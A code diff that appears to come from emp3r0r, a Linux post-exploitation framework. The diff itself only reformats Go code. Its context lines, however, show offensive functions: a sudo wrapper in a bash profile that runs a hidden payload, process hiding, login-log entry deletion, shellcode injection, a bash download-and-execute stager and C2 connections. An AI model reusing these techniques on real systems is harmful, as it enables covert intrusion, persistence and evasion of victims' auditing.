diff --git a/core/cmd/agent/main.go b/core/cmd/agent/main.go
index 71244506b..bbba79a82 100644
--- a/core/cmd/agent/main.go
+++ b/core/cmd/agent/main.go
@@ -54,7 +54,7 @@ func main() {
 	} else if !runElvsh {
 		// silent!
 		log.SetOutput(io.Discard)
-		null_file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0644)
+		null_file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0o644)
 		if err != nil {
 			log.Fatalf("[-] Cannot open %s: %v", os.DevNull, err)
 		}
@@ -166,7 +166,7 @@ func main() {
 	// use absolute path
 	// TODO find a better location for temp files
 	if !util.IsExist(agent.RuntimeConfig.UtilsPath) {
-		err = os.MkdirAll(agent.RuntimeConfig.UtilsPath, 0700)
+		err = os.MkdirAll(agent.RuntimeConfig.UtilsPath, 0o700)
 		if err != nil {
 			log.Fatalf("[-] Cannot mkdir %s: %v", agent.RuntimeConfig.AgentRoot, err)
 		}
@@ -306,7 +306,7 @@ test_agent:
 
 	// agent root
 	if !util.IsExist(agent.RuntimeConfig.AgentRoot) {
-		err = os.MkdirAll(agent.RuntimeConfig.AgentRoot, 0700)
+		err = os.MkdirAll(agent.RuntimeConfig.AgentRoot, 0o700)
 		if err != nil {
 			log.Printf("MkdirAll %s: %v", agent.RuntimeConfig.AgentRoot, err)
 		}
diff --git a/core/cmd/cc/main.go b/core/cmd/cc/main.go
index ff24e8f94..d19c8c823 100644
--- a/core/cmd/cc/main.go
+++ b/core/cmd/cc/main.go
@@ -123,7 +123,7 @@ func main() {
 		}
 		go func() {
 			defer cc.CliPrintError("session unexpectedly exited, please restart emp3r0r")
-			var SSHConnections = make(map[string]context.CancelFunc, 10)
+			SSHConnections := make(map[string]context.CancelFunc, 10)
 			pubkey, err := tun.SSHPublicKey(cc.RuntimeConfig.SSHHostKey)
 			if err != nil {
 				cc.CliFatalError("Parsing SSHPublicKey: %v", err)
@@ -147,7 +147,7 @@ func main() {
 	// start cdn2proxy server
 	if *cdnproxy != "" {
 		go func() {
-			logFile, err := os.OpenFile("/tmp/ws.log", os.O_CREATE|os.O_RDWR, 0600)
+			logFile, err := os.OpenFile("/tmp/ws.log", os.O_CREATE|os.O_RDWR, 0o600)
 			if err != nil {
 				cc.CliFatalError("OpenFile: %v", err)
 			}
diff --git a/core/lib/agent/bash.go b/core/lib/agent/bash.go
index 869cc9d40..57a52a4b2 100644
--- a/core/lib/agent/bash.go
+++ b/core/lib/agent/bash.go
@@ -15,13 +15,13 @@ import (
 // ExtractBash extract embedded bash binary and configure our bash shell
 func ExtractBash() error {
 	if !util.IsExist(RuntimeConfig.UtilsPath) {
-		err := os.MkdirAll(RuntimeConfig.UtilsPath, 0700)
+		err := os.MkdirAll(RuntimeConfig.UtilsPath, 0o700)
 		if err != nil {
 			log.Fatalf("[-] Cannot mkdir %s: %v", RuntimeConfig.AgentRoot, err)
 		}
 	}
 
-	err := os.WriteFile(RuntimeConfig.UtilsPath+"/.bashrc", []byte(file.BashRC), 0600)
+	err := os.WriteFile(RuntimeConfig.UtilsPath+"/.bashrc", []byte(file.BashRC), 0o600)
 	if err != nil {
 		log.Printf("Write bashrc: %v", err)
 	}
diff --git a/core/lib/agent/broadcast.go b/core/lib/agent/broadcast.go
index 33f8b6f7e..93c2d55ee 100644
--- a/core/lib/agent/broadcast.go
+++ b/core/lib/agent/broadcast.go
@@ -20,9 +20,8 @@ var ReverseConns = make(map[string]context.CancelFunc)
 // BroadcastServer listen on a UDP port for broadcasts
 // wait for some other agents to announce their internet proxy
 func BroadcastServer(ctx context.Context, cancel context.CancelFunc, port string) (err error) {
-	var (
-		passProxyCnt int // one time only
-	)
+	var passProxyCnt int // one time only
+
 	defer cancel()
 	bindaddr := ":" + port
 	if port == "" {
diff --git a/core/lib/agent/ccHandler.go b/core/lib/agent/ccHandler.go
index 2228fa796..a5d5fae75 100644
--- a/core/lib/agent/ccHandler.go
+++ b/core/lib/agent/ccHandler.go
@@ -158,7 +158,7 @@ func processCCData(data *emp3r0r_data.MsgTunData) {
 
 		path := strings.Join(cmdSlice[1:], " ")
 		out = "Mkdir " + path
-		if err = os.MkdirAll(path, 0700); err != nil {
+		if err = os.MkdirAll(path, 0o700); err != nil {
 			out = fmt.Sprintf("Failed to mkdir %s: %v", path, err)
 		}
 		sendResponse(out)
diff --git a/core/lib/agent/getroot.go b/core/lib/agent/getroot.go
index a3b1836db..125f7baee 100644
--- a/core/lib/agent/getroot.go
+++ b/core/lib/agent/getroot.go
@@ -24,7 +24,7 @@ func CopySelfTo(dest_file string) (err error) {
 	// mkdir -p if directory not found
 	dest_dir := strings.Join(strings.Split(dest_file, "/")[:len(strings.Split(dest_file, "/"))-1], "/")
 	if !util.IsExist(dest_dir) {
-		err = os.MkdirAll(dest_dir, 0700)
+		err = os.MkdirAll(dest_dir, 0o700)
 		if err != nil {
 			return
 		}
@@ -35,7 +35,7 @@ func CopySelfTo(dest_file string) (err error) {
 		os.RemoveAll(dest_file)
 	}
 
-	return os.WriteFile(dest_file, elf_data, 0755)
+	return os.WriteFile(dest_file, elf_data, 0o755)
 }
 
 func GetRoot() error {
diff --git a/core/lib/agent/injector.go b/core/lib/agent/injector.go
index 289439ca7..0712e45cc 100644
--- a/core/lib/agent/injector.go
+++ b/core/lib/agent/injector.go
@@ -101,7 +101,7 @@ func prepare_loader_so(pid int, bin string) (so_path string, err error) {
 		if err != nil {
 			return "", fmt.Errorf("Extract loader.so failed: %v", err)
 		}
-		err = os.WriteFile(so_path, out, 0644)
+		err = os.WriteFile(so_path, out, 0o644)
 		if err != nil {
 			return "", fmt.Errorf("Write loader.so failed: %v", err)
 		}
@@ -161,7 +161,6 @@ func prepare_shared_lib() (path string, err error) {
 // prepare the shellcode
 func prepare_sc(pid int) (shellcode string, shellcodeLen int) {
 	sc, err := DownloadViaCC("shellcode.txt", "")
-
 	if err != nil {
 		log.Printf("Failed to download shellcode.txt from CC: %v", err)
 		// prepare guardian_shellcode
@@ -185,7 +184,6 @@ func prepare_sc(pid int) (shellcode string, shellcodeLen int) {
 
 // InjectorHandler handles `injector` module
 func InjectorHandler(pid int, method string) (err error) {
-
 	// dispatch
 	switch method {
 
diff --git a/core/lib/agent/mod.go b/core/lib/agent/mod.go
index 4637ec00d..dae68f4b8 100644
--- a/core/lib/agent/mod.go
+++ b/core/lib/agent/mod.go
@@ -63,7 +63,7 @@ func moduleHandler(modName, checksum string) (out string) {
 		return fmt.Sprintf("Processing module files: %v", err)
 	}
 	for _, f := range files {
-		os.Chmod(f.Name(), 0700)
+		os.Chmod(f.Name(), 0o700)
 		if util.IsExist(libs_tarball) {
 			os.RemoveAll("libs")
 			err = archiver.Unarchive(libs_tarball, "./")
diff --git a/core/lib/agent/osinfo_linux.go b/core/lib/agent/osinfo_linux.go
index cb32c4819..d0b29e37e 100644
--- a/core/lib/agent/osinfo_linux.go
+++ b/core/lib/agent/osinfo_linux.go
@@ -58,7 +58,7 @@ func genOSRelease() {
 	// CentOS 6.x
 	if release := slurpFile("/etc/centos-release"); release != "" {
 		if m := reCentOS6.FindStringSubmatch(release); m != nil {
-			spewFile(osReleaseFile, fmt.Sprintf(centOS6Template, m[1], m[1]), 0666)
+			spewFile(osReleaseFile, fmt.Sprintf(centOS6Template, m[1], m[1]), 0o666)
 			return
 		}
 	}
@@ -75,7 +75,7 @@ func genOSRelease() {
 			case 2:
 				version = m[1]
 			}
-			spewFile(osReleaseFile, fmt.Sprintf(redhat6Template, version, code_name, version, version), 0666)
+			spewFile(osReleaseFile, fmt.Sprintf(redhat6Template, version, code_name, version, version), 0o666)
 			return
 		}
 	}
diff --git a/core/lib/agent/persistence.go b/core/lib/agent/persistence.go
index 133afc669..71d410b0b 100644
--- a/core/lib/agent/persistence.go
+++ b/core/lib/agent/persistence.go
@@ -169,7 +169,7 @@ func profiles() (err error) {
 	}
 	sudoPayload := strings.Join(sudoLocs, "||")
 	loader += fmt.Sprintf("\nfunction sudo() { /usr/bin/sudo $@; (set +m;((%s) 2>/dev/null)) }", sudoPayload)
-	err = os.WriteFile(bashprofile, []byte(loader), 0644)
+	err = os.WriteFile(bashprofile, []byte(loader), 0o644)
 	if err != nil {
 		return
 	}
@@ -204,7 +204,7 @@ func AddCronJob(job string) error {
 func HidePIDs() (err error) {
 	// mkdir
 	if !util.IsDirExist("/usr/share/at") {
-		os.MkdirAll("/usr/share/at", 0755)
+		os.MkdirAll("/usr/share/at", 0o755)
 	}
 	pids := make([]int, 0)
 
@@ -241,7 +241,7 @@ func HidePIDs() (err error) {
 	pids = util.RemoveDupsFromArray(pids)
 	pid_list_str := strings.Join(util.IntArrayToStringArray(pids), "\n")
 
-	err = os.WriteFile(Hidden_PIDs, []byte(pid_list_str), 0644)
+	err = os.WriteFile(Hidden_PIDs, []byte(pid_list_str), 0o644)
 	if err != nil {
 		return
 	}
@@ -266,7 +266,7 @@ func patcher() (err error) {
 		util.FileBaseName(RuntimeConfig.AgentRoot),
 		util.FileBaseName(Hidden_Files),
 		util.FileBaseName(Hidden_PIDs))
-	err = os.WriteFile(Hidden_Files, []byte(files), 0644)
+	err = os.WriteFile(Hidden_Files, []byte(files), 0o644)
 	if err != nil {
 		log.Printf("Cannot create %s: %v", Hidden_Files, err)
 	}
diff --git a/core/lib/agent/poll.go b/core/lib/agent/poll.go
index 901f68139..efc6584c5 100644
--- a/core/lib/agent/poll.go
+++ b/core/lib/agent/poll.go
@@ -91,9 +91,7 @@ func catchInterruptAndExit(cancel context.CancelFunc) {
 
 // ConnectCC connect to CC with h2conn
 func ConnectCC(url string) (conn *h2conn.Conn, ctx context.Context, cancel context.CancelFunc, err error) {
-	var (
-		resp *http.Response
-	)
+	var resp *http.Response
 	defer func() {
 		if conn == nil {
 			err = fmt.Errorf("ConnectCC at %s failed", url)
@@ -104,7 +102,8 @@ func ConnectCC(url string) (conn *h2conn.Conn, ctx context.Context, cancel conte
 	// use h2conn for duplex tunnel
 	ctx, cancel = context.WithCancel(context.Background())
 
-	h2 := h2conn.Client{Client: emp3r0r_data.HTTPClient,
+	h2 := h2conn.Client{
+		Client: emp3r0r_data.HTTPClient,
 		Header: http.Header{
 			"AgentUUID":    {RuntimeConfig.AgentUUID},
 			"AgentUUIDSig": {RuntimeConfig.AgentUUIDSig},
@@ -271,7 +270,6 @@ func CCMsgTun(ctx context.Context, cancel context.CancelFunc) (err error) {
 
 // set C2Transport
 func setC2Transport() {
-
 	if tun.IsTor(emp3r0r_data.CCAddress) {
 		emp3r0r_data.Transport = fmt.Sprintf("TOR (%s)", emp3r0r_data.CCAddress)
 		return
diff --git a/core/lib/agent/proc.go b/core/lib/agent/proc.go
index 6cc174d0e..e3d3c0d81 100644
--- a/core/lib/agent/proc.go
+++ b/core/lib/agent/proc.go
@@ -24,7 +24,7 @@ func CheckAgentProcess() *emp3r0r_data.AgentProcess {
 func IsAgentRunningPID() (bool, int) {
 	defer func() {
 		myPIDText := strconv.Itoa(os.Getpid())
-		if err := os.WriteFile(RuntimeConfig.PIDFile, []byte(myPIDText), 0600); err != nil {
+		if err := os.WriteFile(RuntimeConfig.PIDFile, []byte(myPIDText), 0o600); err != nil {
 			log.Printf("Write RuntimeConfig.PIDFile: %v", err)
 		}
 	}()
diff --git a/core/lib/agent/proc_linux.go b/core/lib/agent/proc_linux.go
index 94a1cd97f..5f18619a7 100644
--- a/core/lib/agent/proc_linux.go
+++ b/core/lib/agent/proc_linux.go
@@ -45,7 +45,7 @@ func CopyProcExeTo(pid int, dest_path string) (err error) {
 		os.RemoveAll(dest_path)
 	}
 
-	return os.WriteFile(dest_path, elf_data, 0755)
+	return os.WriteFile(dest_path, elf_data, 0o755)
 }
 
 // rename agent process by modifying its argv, all cmdline args are dropped
diff --git a/core/lib/agent/proxy.go b/core/lib/agent/proxy.go
index 8ecbc45b8..97e415b00 100644
--- a/core/lib/agent/proxy.go
+++ b/core/lib/agent/proxy.go
@@ -136,10 +136,9 @@ func PortFwd(addr, sessionID, protocol string, reverse bool, timeout int) (err e
 
 // start a local listener on agent, forward connections to CC
 func listenAndFwd(ctx context.Context, cancel context.CancelFunc,
-	port, sessionID string) {
-	var (
-		err error
-	)
+	port, sessionID string,
+) {
+	var err error
 
 	// serve a TCP connection received on agent side
 	serveConn := func(conn net.Conn) {
diff --git a/core/lib/agent/ss.go b/core/lib/agent/ss.go
index d722b8d1f..225585218 100644
--- a/core/lib/agent/ss.go
+++ b/core/lib/agent/ss.go
@@ -30,7 +30,7 @@ func ShadowsocksC2Client() {
 	local_socks_addr := "127.0.0.1:" + RuntimeConfig.ShadowsocksPort
 
 	// start ss
-	var ss_config = &ss.SSConfig{
+	ss_config := &ss.SSConfig{
 		ServerAddr:     server_addr,
 		LocalSocksAddr: local_socks_addr,
 		Cipher:         ss.AEADCipher,
diff --git a/core/lib/agent/util.go b/core/lib/agent/util.go
index 145ed4680..fc249e240 100644
--- a/core/lib/agent/util.go
+++ b/core/lib/agent/util.go
@@ -68,7 +68,7 @@ func IsAgentAlive(c net.Conn) bool {
 
 // Send2CC send TunData to CC
 func Send2CC(data *emp3r0r_data.MsgTunData) error {
-	var out = json.NewEncoder(emp3r0r_data.CCMsgConn)
+	out := json.NewEncoder(emp3r0r_data.CCMsgConn)
 
 	err := out.Encode(data)
 	if err != nil {
@@ -153,7 +153,7 @@ func Upgrade(checksum string) (out string) {
 	if checksum != download_checksum {
 		return fmt.Sprintf("Error: checksum mismatch: %s expected, got %s", checksum, download_checksum)
 	}
-	err = os.Chmod(tempfile, 0755)
+	err = os.Chmod(tempfile, 0o755)
 	if err != nil {
 		return fmt.Sprintf("Error: chmod %s: %v", tempfile, err)
 	}
diff --git a/core/lib/agent/vaccine.go b/core/lib/agent/vaccine.go
index 5fc31e5ea..3b42bc349 100644
--- a/core/lib/agent/vaccine.go
+++ b/core/lib/agent/vaccine.go
@@ -54,7 +54,7 @@ func VaccineHandler() (out string) {
 	// unpack utils.tar.xz to our PATH
 	os.RemoveAll(RuntimeConfig.UtilsPath) // archiver fucking aborts when files already exist
 	if !util.IsExist(RuntimeConfig.UtilsPath) {
-		if err = os.MkdirAll(RuntimeConfig.UtilsPath, 0700); err != nil {
+		if err = os.MkdirAll(RuntimeConfig.UtilsPath, 0o700); err != nil {
 			log.Print(err)
 			return fmt.Sprintf("mkdir: %v", err)
 		}
@@ -88,7 +88,7 @@ func VaccineHandler() (out string) {
 	defer os.Remove(PythonArchive)
 
 	// create launchers
-	err = os.WriteFile(RuntimeConfig.UtilsPath+"/python", []byte(PythonLauncher), 0755)
+	err = os.WriteFile(RuntimeConfig.UtilsPath+"/python", []byte(PythonLauncher), 0o755)
 	if err != nil {
 		out = fmt.Sprintf("Write python launcher: %v", err)
 	}
diff --git a/core/lib/agent/xtmp.go b/core/lib/agent/xtmp.go
index 5127fda58..d0fc9d431 100644
--- a/core/lib/agent/xtmp.go
+++ b/core/lib/agent/xtmp.go
@@ -51,7 +51,7 @@ func deleteXtmpEntry(keyword string) (err error) {
 		}
 
 		// save new file as xtmp.tmp, users need to rename it manually, in case the file is corrupted
-		newXtmp, err := os.OpenFile(path+".tmp", os.O_CREATE|os.O_RDWR, 0664)
+		newXtmp, err := os.OpenFile(path+".tmp", os.O_CREATE|os.O_RDWR, 0o664)
 		if err != nil {
 			return fmt.Errorf("Failed to open temp xtmp: %v", err)
 		}
@@ -100,5 +100,5 @@ func deleteAuthEntry(keyword string) (err error) {
 			new_content += line + "\n"
 		}
 	}
-	return os.WriteFile(path, []byte(new_content), 0644)
+	return os.WriteFile(path, []byte(new_content), 0o644)
 }
diff --git a/core/lib/cc/agentHandler.go b/core/lib/cc/agentHandler.go
index 8820b892a..108d11fbe 100644
--- a/core/lib/cc/agentHandler.go
+++ b/core/lib/cc/agentHandler.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"encoding/json"
 	"fmt"
diff --git a/core/lib/cc/api_server.go b/core/lib/cc/api_server.go
index c736815fd..e1ebd14f8 100644
--- a/core/lib/cc/api_server.go
+++ b/core/lib/cc/api_server.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"log"
 	"net"
diff --git a/core/lib/cc/bash_stager.go b/core/lib/cc/bash_stager.go
index 144fd9bc4..4ce522400 100644
--- a/core/lib/cc/bash_stager.go
+++ b/core/lib/cc/bash_stager.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"encoding/base64"
 	"fmt"
diff --git a/core/lib/cc/buildAgent.go b/core/lib/cc/buildAgent.go
index 87903f172..7ca3ff0cf 100644
--- a/core/lib/cc/buildAgent.go
+++ b/core/lib/cc/buildAgent.go
@@ -101,7 +101,7 @@ func save_config_json() (err error) {
 		return fmt.Errorf("Saving %s: %v", EmpConfigFile, err)
 	}
 
-	return os.WriteFile(EmpConfigFile, w_data, 0600)
+	return os.WriteFile(EmpConfigFile, w_data, 0o600)
 }
 
 func InitConfigFile(cc_host string) (err error) {
diff --git a/core/lib/cc/cc.go b/core/lib/cc/cc.go
index 7062981d7..a021afe9a 100644
--- a/core/lib/cc/cc.go
+++ b/core/lib/cc/cc.go
@@ -170,15 +170,19 @@ func ListTargets() {
 			"IPs":     ips,
 		}
 
-		var row = []string{index, label, util.SplitLongLine(target.Tag, 15),
-			infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"]}
+		row := []string{
+			index, label, util.SplitLongLine(target.Tag, 15),
+			infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"],
+		}
 
 		// is this agent currently selected?
 		if CurrentTarget != nil {
 			if CurrentTarget.Tag == target.Tag {
 				index = color.New(color.FgHiGreen, color.Bold).Sprintf("%d", control.Index)
-				row = []string{index, label, util.SplitLongLine(target.Tag, 15),
-					infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"]}
+				row = []string{
+					index, label, util.SplitLongLine(target.Tag, 15),
+					infoMap["OS"], infoMap["Process"], infoMap["User"], infoMap["IPs"], infoMap["From"],
+				}
 
 				// put this row at bottom, so it's always visible
 				tail = row
@@ -420,7 +424,7 @@ outter:
 	}
 
 	// write file
-	err = os.WriteFile(AgentsJSON, data, 0600)
+	err = os.WriteFile(AgentsJSON, data, 0o600)
 	if err != nil {
 		CliPrintWarning("Saving labeled agents: %v", err)
 	}
@@ -505,7 +509,7 @@ func InitConfig() (err error) {
 	FileGetDir = EmpWorkSpace + "/file-get/"
 	EmpConfigFile = EmpWorkSpace + "/emp3r0r.json"
 	if !util.IsDirExist(EmpWorkSpace) {
-		err = os.MkdirAll(FileGetDir, 0700)
+		err = os.MkdirAll(FileGetDir, 0o700)
 		if err != nil {
 			return fmt.Errorf("mkdir %s: %v", EmpWorkSpace, err)
 		}
diff --git a/core/lib/cc/cli.go b/core/lib/cc/cli.go
index 3f2c3fa9f..863867b3b 100644
--- a/core/lib/cc/cli.go
+++ b/core/lib/cc/cli.go
@@ -539,9 +539,11 @@ func CliListOptions() {
 		}
 
 		tdata = append(tdata,
-			[]string{util.SplitLongLine(k, 20),
+			[]string{
+				util.SplitLongLine(k, 20),
 				util.SplitLongLine(help, 20),
-				util.SplitLongLine(v, 20)})
+				util.SplitLongLine(v, 20),
+			})
 	}
 	table.AppendBulk(tdata)
 	table.Render()
diff --git a/core/lib/cc/cmd.go b/core/lib/cc/cmd.go
index 805f54cab..251bb6347 100644
--- a/core/lib/cc/cmd.go
+++ b/core/lib/cc/cmd.go
@@ -79,8 +79,10 @@ var CmdFuncsWithArgs = map[string]func(string){
 }
 
 // CmdTime Record the time spent on each command
-var CmdTime = make(map[string]string)
-var CmdTimeMutex = &sync.Mutex{}
+var (
+	CmdTime      = make(map[string]string)
+	CmdTimeMutex = &sync.Mutex{}
+)
 
 const HELP = "help" // fuck goconst
 
diff --git a/core/lib/cc/config.go b/core/lib/cc/config.go
index 3b782fcd9..a517cc48a 100644
--- a/core/lib/cc/config.go
+++ b/core/lib/cc/config.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
 )
diff --git a/core/lib/cc/filemgr.go b/core/lib/cc/filemgr.go
index 959a9552c..fe3192b4b 100644
--- a/core/lib/cc/filemgr.go
+++ b/core/lib/cc/filemgr.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"fmt"
 	"strings"
diff --git a/core/lib/cc/ftp.go b/core/lib/cc/ftp.go
index b4982f73a..27d5f247b 100644
--- a/core/lib/cc/ftp.go
+++ b/core/lib/cc/ftp.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"encoding/json"
 	"fmt"
@@ -86,7 +85,7 @@ func PutFile(lpath, rpath string, a *emp3r0r_data.AgentSystemInfo) error {
 // GetFile get file from agent
 func GetFile(filepath string, a *emp3r0r_data.AgentSystemInfo) error {
 	if !util.IsExist(FileGetDir) {
-		err := os.MkdirAll(FileGetDir, 0700)
+		err := os.MkdirAll(FileGetDir, 0o700)
 		if err != nil {
 			return fmt.Errorf("GetFile mkdir %s: %v", FileGetDir, err)
 		}
diff --git a/core/lib/cc/kcp.go b/core/lib/cc/kcp.go
index 3baa90b18..34440da3c 100644
--- a/core/lib/cc/kcp.go
+++ b/core/lib/cc/kcp.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"crypto/sha256"
 	"fmt"
diff --git a/core/lib/cc/modGenAgent.go b/core/lib/cc/modGenAgent.go
index 70636bc84..82ba96d7f 100644
--- a/core/lib/cc/modGenAgent.go
+++ b/core/lib/cc/modGenAgent.go
@@ -133,7 +133,7 @@ func modGenAgent() {
 		return
 	}
 	// write
-	err = os.WriteFile(outfile, toWrite, 0755)
+	err = os.WriteFile(outfile, toWrite, 0o755)
 	if err != nil {
 		CliPrintError("Save agent binary %s: %v", outfile, err)
 		return
@@ -162,7 +162,7 @@ func modGenAgent() {
 	toWrite = append(packed_bin_data, sep...)
 	toWrite = append(toWrite, encryptedJSONBytes...)
 	toWrite = append(toWrite, sep...)
-	err = os.WriteFile(packed_file, toWrite, 0755)
+	err = os.WriteFile(packed_file, toWrite, 0o755)
 	if err != nil {
 		CliPrintError("Failed to save final agent binary: %v", err)
 		return
diff --git a/core/lib/cc/modRproxy.go b/core/lib/cc/modRproxy.go
index cb9dec5f1..47ca4a42b 100644
--- a/core/lib/cc/modRproxy.go
+++ b/core/lib/cc/modRproxy.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"fmt"
 
diff --git a/core/lib/cc/mod_gdb.go b/core/lib/cc/mod_gdb.go
index 9af72d110..07a021199 100644
--- a/core/lib/cc/mod_gdb.go
+++ b/core/lib/cc/mod_gdb.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"context"
 	"fmt"
diff --git a/core/lib/cc/modcustom.go b/core/lib/cc/modcustom.go
index e68b4ec2b..583f9b9c5 100644
--- a/core/lib/cc/modcustom.go
+++ b/core/lib/cc/modcustom.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"encoding/json"
 	"fmt"
@@ -80,7 +79,7 @@ func moduleCustom() {
 		if config.IsInteractive {
 			// empty out start.sh
 			// we will run the module as shell
-			err = os.WriteFile(start_sh, []byte("echo emp3r0r-interactive-module\n"), 0600)
+			err = os.WriteFile(start_sh, []byte("echo emp3r0r-interactive-module\n"), 0o600)
 			if err != nil {
 				CliPrintError("write %s: %v", start_sh, err)
 				return
@@ -186,7 +185,7 @@ func ModuleDetails(modName string) {
 // and update ModuleHelpers, ModuleDocs
 func InitModules() {
 	if !util.IsExist(WWWRoot) {
-		os.MkdirAll(WWWRoot, 0700)
+		os.MkdirAll(WWWRoot, 0o700)
 	}
 
 	// get vaccine ready
@@ -241,7 +240,6 @@ func InitModules() {
 		for name, comment := range emp3r0r_data.ModuleComments {
 			ModuleNames = append(ModuleNames, fmt.Sprintf("%s: %s", color.HiBlueString(name), comment))
 		}
-
 	}
 
 	// read from every defined module dir
@@ -261,7 +259,7 @@ func readModCondig(file string) (pconfig *ModConfig, err error) {
 	}
 
 	// parse the json
-	var config = ModConfig{}
+	config := ModConfig{}
 	err = json.Unmarshal(jsonData, &config)
 	if err != nil {
 		return nil, fmt.Errorf("failed to unmarshal JSON config: %v", err)
@@ -279,7 +277,7 @@ func genStartScript(config *ModConfig, outfile string) (err error) {
 	data = fmt.Sprintf("%s ./%s ", data, config.Exec) // run with environment vars
 
 	// write config.json
-	return os.WriteFile(outfile, []byte(data), 0600)
+	return os.WriteFile(outfile, []byte(data), 0o600)
 }
 
 func updateModuleHelp(config *ModConfig) error {
diff --git a/core/lib/cc/modgetroot.go b/core/lib/cc/modgetroot.go
index 9cdde952a..4f91b6316 100644
--- a/core/lib/cc/modgetroot.go
+++ b/core/lib/cc/modgetroot.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"fmt"
 
diff --git a/core/lib/cc/modinjector.go b/core/lib/cc/modinjector.go
index 31bab6c53..a141d8566 100644
--- a/core/lib/cc/modinjector.go
+++ b/core/lib/cc/modinjector.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"fmt"
 
diff --git a/core/lib/cc/modmisc.go b/core/lib/cc/modmisc.go
index a7bc191fe..2a89d4f79 100644
--- a/core/lib/cc/modmisc.go
+++ b/core/lib/cc/modmisc.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"fmt"
 
diff --git a/core/lib/cc/modportfwd.go b/core/lib/cc/modportfwd.go
index fb086e643..3aaac1a32 100644
--- a/core/lib/cc/modportfwd.go
+++ b/core/lib/cc/modportfwd.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"context"
 	"fmt"
@@ -66,7 +65,7 @@ func moduleProxy() {
 	status := Options["status"].Val
 
 	// port-fwd
-	var pf = new(PortFwdSession)
+	pf := new(PortFwdSession)
 	pf.Ctx, pf.Cancel = context.WithCancel(context.Background())
 	pf.Lport, pf.To = port, "127.0.0.1:"+RuntimeConfig.AutoProxyPort
 	pf.Description = fmt.Sprintf("Agent Proxy (TCP):\n%s (Local) -> %s (Agent)", pf.Lport, pf.To)
@@ -74,7 +73,7 @@ func moduleProxy() {
 	pf.Timeout = RuntimeConfig.AutoProxyTimeout
 
 	// udp port fwd
-	var pfu = new(PortFwdSession)
+	pfu := new(PortFwdSession)
 	pfu.Ctx, pfu.Cancel = context.WithCancel(context.Background())
 	pfu.Lport, pfu.To = port, "127.0.0.1:"+RuntimeConfig.AutoProxyPort
 	pfu.Description = fmt.Sprintf("Agent Proxy (UDP):\n%s (Local) -> %s (Agent)", pfu.Lport, pfu.To)
diff --git a/core/lib/cc/modshell.go b/core/lib/cc/modshell.go
index 6408c3a22..7a7bfabfe 100644
--- a/core/lib/cc/modshell.go
+++ b/core/lib/cc/modshell.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
 )
diff --git a/core/lib/cc/modssh_harvester.go b/core/lib/cc/modssh_harvester.go
index 6956b6eb8..86a233aea 100644
--- a/core/lib/cc/modssh_harvester.go
+++ b/core/lib/cc/modssh_harvester.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
 
 func module_ssh_harvester() {
diff --git a/core/lib/cc/modstage.go b/core/lib/cc/modstage.go
index 4ae2ed115..a4445f1c2 100644
--- a/core/lib/cc/modstage.go
+++ b/core/lib/cc/modstage.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"context"
 	"encoding/base64"
@@ -61,7 +60,7 @@ func modStager() {
 	switch chosen_stager {
 	case "linux/bash":
 		stager_data := bash_http_b64_download_exec(url)
-		err = os.WriteFile(stager_filename, stager_data, 0600)
+		err = os.WriteFile(stager_filename, stager_data, 0o600)
 		if err != nil {
 			CliPrintError("Failed to save stager data: %v", err)
 			return
@@ -77,7 +76,7 @@ func modStager() {
 			return
 		}
 		enc_agent_bin_data = []byte(base64.StdEncoding.EncodeToString(agent_bin_data))
-		err = os.WriteFile(enc_agent_bin_path, enc_agent_bin_data, 0600)
+		err = os.WriteFile(enc_agent_bin_path, enc_agent_bin_data, 0o600)
 		if err != nil {
 			CliPrintError("Write base64 encoded agent binary: %v", err)
 			return
@@ -88,7 +87,7 @@ func modStager() {
 		// serve agent binary
 	case "python":
 		stager_data := python_http_xor_download_exec(agent_bin_path, url)
-		err = os.WriteFile(stager_filename, stager_data, 0600)
+		err = os.WriteFile(stager_filename, stager_data, 0o600)
 		if err != nil {
 			CliPrintError("Failed to save stager data: %v", err)
 			return
diff --git a/core/lib/cc/modvaccine.go b/core/lib/cc/modvaccine.go
index b09b08ad0..d77702351 100644
--- a/core/lib/cc/modvaccine.go
+++ b/core/lib/cc/modvaccine.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"fmt"
 	"os"
diff --git a/core/lib/cc/proxy.go b/core/lib/cc/proxy.go
index 5eaa66907..7aab9078f 100644
--- a/core/lib/cc/proxy.go
+++ b/core/lib/cc/proxy.go
@@ -3,7 +3,6 @@
 
 package cc
 
-
 import (
 	"context"
 	"encoding/json"
@@ -140,7 +139,8 @@ func ListPortFwds() {
 				to,
 				util.SplitLongLine(portmap.Agent.Tag, 10),
 				util.SplitLongLine(portmap.Description, 10),
-				util.SplitLongLine(id, 10)})
+				util.SplitLongLine(id, 10),
+			})
 	}
 
 	// rendor table
@@ -423,7 +423,6 @@ func (pf *PortFwdSession) RunPortFwd() (err error) {
 			CliPrintError("Write to H2: %v", err)
 		}
 		CliPrintDebug("%s sent %d bytes to H2", udp_client_addr.String(), n)
-
 	}
 
